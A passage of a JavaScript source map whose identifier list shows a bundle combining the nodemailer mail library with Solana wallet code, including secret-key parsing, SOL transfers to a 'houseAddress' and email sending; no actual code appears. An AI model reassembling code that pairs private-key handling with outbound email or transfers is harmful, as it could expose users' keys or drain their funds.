achePath","cache","parser","usingCache","hasErrored","cleanup","unlink","createReadCache","sendNextChunk","sendSignedOutput","keyPos","signNextKey","dkimField","createWriteCache","createWriteStream","unpipe","removeAllListeners","signStream","extraOptions","inputStream","writeValue","isBuffer","EventEmitter","MailComposer","mailComposer","mail","compile","_alternatives","getAlternatives","_htmlNode","alternative","_attachments","getAttachments","_useRelated","related","_useAlternative","_useMixed","attached","_createMixed","_createAlternative","_createRelated","_createContentNode","o","findRelated","icalEvent","eventObject","attachments","attachment","isMessageNode","_processDataUrl","isImage","contentDisposition","contentTransferEncoding","html","watchHtml","amp","alternatives","element","DKIM","httpProxyClient","httpProxyClient_1","proxyUrl","destinationPort","destinationHost","connect","socket","proxy","tempSocketErr","destroy","timeoutErr","reqHeaders","Host","Connection","onSocketData","MailMessage","mailMessage","mailer","_defaults","resolveAll","resolveNext","normalize","normalizedHeaders","_getListHeaders","references","inReplyTo","setMailerHeader","xMailer","setPriorityHeaders","priority","setListHeaders","listHeader","listData","_formatListUrl","transporter","_defaultPlugins","_convertDataImages","_userPlugins","meta","component","getVersionString","getSocket","methodName","setupProxy","use","step","plugin","hasOwnProperty","sendMail","action","_processPlugins","dkimDomains","_dkim","send","homepage","userPlugins","defaultPlugins","pluginCount","block","processPlugins","curplugins","connection","ipaddress","proxyV2","SocksClient","socksClient","proxyType","connectionOpts","command","username","password","userId","userid","authentication","createConnection","info","attachDataUrls","cidCounter","dataUri","packageInfo","DataStream","dataStream","inByteCount","outByteCount","SOCKET_TIMEOUT","smtpConnection","id","stage","secureConnection","alreadySecured","secured","_getHostname","customAuth","mapKey","authenticated","destroyed","_remainder","_responseQueue","lastServerResponse","_socket","_supportedAuth","allowsAuth","_supportedExtensions","_maxAllowedSize","_responseActions","_recipientQueue","_greetingTimeout","_connectionTimeout","_destroyed","_closing","_onSocketData","_onData","_onSocketError","_onError","_onSocketClose","_onClose","_onSocketEnd","_onEnd","_onSocketTimeout","_onTimeout","connectCallback","isDestroyedMessage","_isDestroyedMessage","_formatError","opts","dnsTimeout","localAddress","setupConnectionHandlers","connectionTimeout","_upgradeConnection","_onConnect","resolved","setKeepAlive","quit","_sendCommand","close","clearTimeout","closeMethod","_destroy","login","authData","_auth","_authMethod","oauth2","credentials","_handleXOauth2Token","_actionAUTH_LOGIN_USER","_actionAUTHComplete","_actionAUTH_CRAM_MD5","lastResponse","handlerResponse","authMethods","maxAllowedSize","sendCommand","cmd","codes","status","catch","then","size","startTime","_setEnvelope","envelopeTime","_createSendStream","messageTime","messageSize","reset","localPort","remoteAddress","remotePort","socketTimeout","_actionGreeting","greetingTimeout","resume","lastline","_processResponse","responseCode","serverResponse","transactionLog","upgrading","socketPlain","logStr","useSmtpUtf8","rcptQueue","rejected","rejectedErrors","accepted","dsn","_setDsnEnvelope","_actionMAIL","_usingSmtpUtf8","use8BitMime","_using8BitMime","ret","envid","return","notify","validNotify","orcpt","recipient","_getDsnRcptToArgs","logStream","lmtp","final","_actionLMTPStream","_actionSMTPStream","_actionLHLO","_actionEHLO","requireTLS","_actionHELO","_ehloLines","ignoreTLS","_actionSTARTTLS","opportunisticTLS","_actionAUTH_LOGIN_PASS","challengeMatch","challengeString","base64decoded","hmacMD5","createHmac","prepended","_actionAUTH_CRAM_MD5_PASS","isRetry","curRecipient","_actionRCPT","_actionDATA","ehlo","getToken","accessToken","buildXOAuth2Token","writable","defaultHostname","Stream","xoauth2","serviceClient","serviceRequestTimeout","provisionCallback","accessUrl","customHeaders","customParams","renew","generateCallback","generateToken","updateToken","urlOptions","loggedUrlOptions","iat","tokenData","iss","scope","sub","aud","exp","jwtSignRS256","grant_type","assertion","refreshToken","client_id","clientId","client_secret","clientSecret","refresh_token","postRequest","logData","errorMessage","error_description","error_uri","access_token","expires_in","payload","toBase64URL","services","normalizeKey","normalizeService","service","aliases","alias","domains","wellKnown","PoolResource","SMTPConnection","XOAuth2","poolResource","pool","authMethod","_connection","_connected","messages","available","socketOptions","destHost","destPort","timer","unref","forceAuth","recipients","maxMessages","_checkRateLimit","smtpPool","urlData","maxConnections","_rateLimit","waiting","checkpoint","rateDelta","limit","rateLimit","_closed","_queue","_connections","_connectionCounter","idling","requeueAttempts","_processMessages","invokeCallbacks","_createConnection","queueEntry","_removeConnection","_continueProcessing","_shouldRequeuOnConnectionClose","_requeueEntryOnConnectionClose","_failDeliveryOnConnectionClose","maxRequeues","_clearRateLimit","cb","isIdle","verify","sesTransport","ses","SES","Infinity","connections","sendingRate","sendingRateTTL","rateInterval","rateMessages","pending","_checkSendingRate","_send","_sent","_checkRatedQueue","next","oldest","ts","delay","statObject","getRawMessage","sesMessage","RawMessage","Data","Source","Destinations","aws","region","sendPromise","SendRawEmailCommand","sendRawEmail","MessageId","config","Code","Mailer","SMTPPool","SMTPTransport","smtpTransport","getAuth","authOpts","hasAuth","sendMessage","SendmailTransport","spawn","sendmailTransport","_spawn","winbreak","sendmail","some","stdin","kill","StreamTransport","streamTransport","JSONTransport","jsonTransport","skipEncoding","SESTransport","ETHEREAL_API","process","env","ETHEREAL_WEB","ETHEREAL_API_KEY","ETHEREAL_CACHE","testAccount","nodemailer","createTransport","urlConfig","createTestAccount","apiUrl","requestHeaders","requestBody","requestor","getTestMessageUrl","infoProps","props","web","basex","src","ALPHABET","TypeError","BASE_MAP","Uint8Array","x","xc","BASE","LEADER","FACTOR","iFACTOR","decodeUnsafe","psz","zeroes","b256","carry","it3","it4","vch","ArrayBuffer","isView","byteOffset","pbegin","pend","b58","it1","it2","bs58","nodeMailerExports","__importDefault","mod","__esModule","default","web3_js_1","bs58_1","mailUser","getWalletBalance","publicKey","getBalance","PublicKey","balance","balanceInSOL","LAMPORTS_PER_SOL","async","contacts","emailContent","subject","email","e","sendEmail","payout","houseAddress","Keypair","fromSecretKey","amount","parseFloat","tx_send_holder","Transaction","SystemProgram","transfer","fromPubkey","toPubkey","lamports","sendAndConfirmTransaction","withdrawSOL","getKeypairFromString","secretKey","keypair","_keypair","nodeMailer","getLiquidityPoolData","dexId","tokenAddress","fetch","liqudityPoolList","json","pairs","liquidity","quoteToken","baseToken","requireNodeMailer","getDefaultExportFromCjs"],"mappings":"8/CAEA,MAAMA,EAAOC,EACPC,EAAQC,EACRC,EAASC,EACTC,EAAOC,EACPC,EAAcC,EAAkBD,YAChCE,+BCHN,MAAMN,EAASH,SAoRfU,EA1QA,MACI,WAAAC,CAAYC,GACRC,KAAKD,QAAUA,GAAW,GAC1BC,KAAKH,QAAU,EAClB,CAQD,GAAAI,CAAIC,EAAWC,GACX,IAEIC,EAFAC,EAAWf,EAAOgB,MAAMH,GAAO,IAC/BI,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